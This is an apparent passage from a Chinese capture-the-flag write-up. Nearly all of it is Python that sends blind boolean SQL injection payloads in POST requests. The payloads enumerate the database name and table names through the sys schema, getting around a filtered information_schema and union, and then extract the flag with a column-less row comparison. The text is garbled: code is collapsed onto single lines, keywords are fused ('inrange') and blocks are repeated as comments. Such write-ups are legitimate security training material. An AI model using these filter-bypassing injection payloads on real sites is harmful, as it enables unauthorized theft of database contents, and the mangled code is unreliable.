for l inrange (1,100): payload = '1&&length(database())={}'.format(l) data = {'id': payload} re = requests.post(url,data) print("testing 数据库长度:",l) if'Nu1L'in re.text: print("数据库长度:",l) break
for i inrange (1,l+1) : for s instr: payload = "1&&substr(database(),{},1)='{}'".format(i,s) data = {'id': payload} re = requests.post(url,data) if'Nu1L'in re.text: database_name=database_name + s print("第",i,"个字符: ",database_name) break
# for l in range (1,100): # payload = '1&&length(database())={}'.format(l) # data = {'id': payload} # re = requests.post(url,data) # print("testing 数据库长度:",l) # if 'Nu1L' in re.text: # print("数据库长度:",l) # break
# for i in range (1,l+1) : # for s in str: # payload = "1&&substr(database(),{},1)='{}'".format(i,s) # data = {'id': payload} # re = requests.post(url,data) # if 'Nu1L' in re.text: # database_name=database_name + s # print("第",i,"个字符: ",database_name) # break
for l inrange (1,1000): time.sleep(0.05) payload = "1&&length((select group_concat(table_name)from sys.x$schema_flattened_keys where table_schema=database()))={} ".format(l) data = {'id': payload} re = requests.post(url,data) print("表名长度:",l) if'Nu1L'in re.text: print("全表名长度:",l) break
for i inrange (1,l+1): for s instr: time.sleep(0.05) payload = "1&&substr((select group_concat(table_name)from sys.x$schema_flattened_keys where table_schema=database()),{},1)='{}' ".format(i,s) data = {'id': payload} re = requests.post(url,data) if'Nu1L'in re.text: name=name + s print("表名:",name) break
到求列名,因为information_schema被过滤,sys.schema_table_statistics_with_buffer又并没有储存列名,并且这里过滤了 union 所以我们无法使用常规的无列名注入 如
# for l in range (1,100): # payload = '1&&length(database())={}'.format(l) # data = {'id': payload} # re = requests.post(url,data) # print("testing 数据库长度:",l) # if 'Nu1L' in re.text: # print("数据库长度:",l) # break
# for i in range (1,l+1) : # for s in str: # payload = "1&&substr(database(),{},1)='{}'".format(i,s) # data = {'id': payload} # re = requests.post(url,data) # if 'Nu1L' in re.text: # database_name=database_name + s # print("第",i,"个字符: ",database_name) # break
# for l in range (1,1000): # time.sleep(0.05) # payload = "1&&length((select group_concat(table_name)from sys.x$schema_flattened_keys where table_schema=database()))={} ".format(l) # data = {'id': payload} # re = requests.post(url,data) # print("表名长度:",l) # if 'Nu1L' in re.text: # print("全表名长度:",l) # break
# for i in range (1,l+1): # for s in str: # time.sleep(0.05) # payload = "1&&substr((select group_concat(table_name)from sys.x$schema_flattened_keys where table_schema=database()),{},1)='{}' ".format(i,s) # data = {'id': payload} # re = requests.post(url,data) # if 'Nu1L' in re.text: # name=name + s # print("表名:",name) # break
flag='' for l inrange (1,10000): f='' for s inrange (32,127): time.sleep(0.08) f=flag + chr(s) payload = '1&&((select 1,"{}")>(select * from f1ag_1s_h3r3_hhhhh))'.format(f) data = {'id': payload} re = requests.post(url,data) if'Nu1L'in re.text: flag=flag + chr(s-1) print(flag.lower) break